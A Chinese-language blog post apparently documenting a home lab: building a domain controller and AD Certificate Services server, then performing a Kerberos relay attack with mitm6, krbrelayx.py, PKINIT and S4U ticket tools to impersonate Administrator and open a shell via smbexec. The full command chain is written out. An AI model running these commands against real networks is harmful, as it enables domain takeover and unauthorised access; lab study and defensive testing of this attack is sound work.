环境搭建
DC ip:192.168.21.2 域名:DC.rangenet.com
ADCS ip:192.168.21.3 域名:adcs.rangenet.com
一台win10域成员 ip:192.168.21.4 域名win10.rangenet.com
攻击机kali ip:192.168.21.10
DC搭建
选择一台winserver搭建adcs服务,这里是winserver2016。选择Active Directory 域服务,其他默认即可。
安装完成之后,提升为域控制器,开始配置域控。
添加新林rangenet.com,其他默认,然后一步步到安装。
ADCS搭建
选择一台winserver搭建adcs服务,这里是winserver2016。然后先将这台server加入到rangenet.com域中
重启之后,使用域控账号登录(因为要安装ADCS服务需要登陆账号属于Enterprise Admins组,为了方便这里使用域控账号登录)
下面正式开始安装ADCS服务,只需要注意下面截图的内容,其他都是默认。
服务器管理器–>添加角色和功能向导–>勾选服务器角色–>Active Director 证书服务
开始安装
配置ADCS服务,只需要注意下面截图的内容,其他都是默认。
访问http://localhost/certsrv出现登录框
输入系统账号即可进入,出现下面界面,表示安装成功。
Kerberos中继攻击
Kali中添加域控ip为dns
改完后ping一下域成员,能ping通即可
开始攻击
使用mitm6监听DHCPV6请求。
Mitm6 –domain rangenet.com –host-allowlist win10.rangenet.com –relay adcs.rangenet.com -v
–domain 是要攻击的域名
–host-allowlist是过滤win10这台机器的请求
–relay是转发请求的地址,这里填adcs地址
使用krbrelays.py中继kerberos协议.
Pyhton3 krbrelayx.py –target http://adcs.rangenet.com/certsrv/ -ip 192.168.21.10 –victim win10.rangenet.com –adcs –template Machine
–target 是adcs证书服务的url地址
-ip是当前ip(内网中控制的机器,这里把kali直接放在内网中了)
–victim是受害者域名
然后重启win10,当win10成员机获取网络连接时会发出DHCPv6请求的包,以便mitm6可以接管DHCPv6请求。
Krbrelax.py成功中继到证书
证书太长,把证书复制到文件里,方便复制全证书
接下来使用证书去向域控获取tgt,我们使用gettgtpkinit.py来模拟这个过程。
python gettgtpkinit.py -pfx-base64 一大串证书 rangenet.com/win10$ win10.ccache
报下面截图的错是因为时钟问题,DC的时间太落后了,调回正常时间即可。
下面成功获取到tgt票据
接下来请求管理员票据
python gets4uticket.py kerberos+ccache://rangenet.com\win10$:win10.ccache@DC主机名.rangenet.com cifs/win10.rangenet.com@rangenet.com Administrator@rangenet.com admin.ccache
DC主机名在mitm6处理的请求中可以找到
然后就可以使用管理员票据去登录机器了
KRB5CCNAME=admin.ccache python ../impacket/examples/smbexec.py -k rangenet.com/Administrator@win10.rangenet.com -no-pass
- 本文作者: ordar
- 本文链接: https://mrwq.github.io/kerberos中继攻击/
- 版权声明: 本文作者: ordar123 转载请注明出处!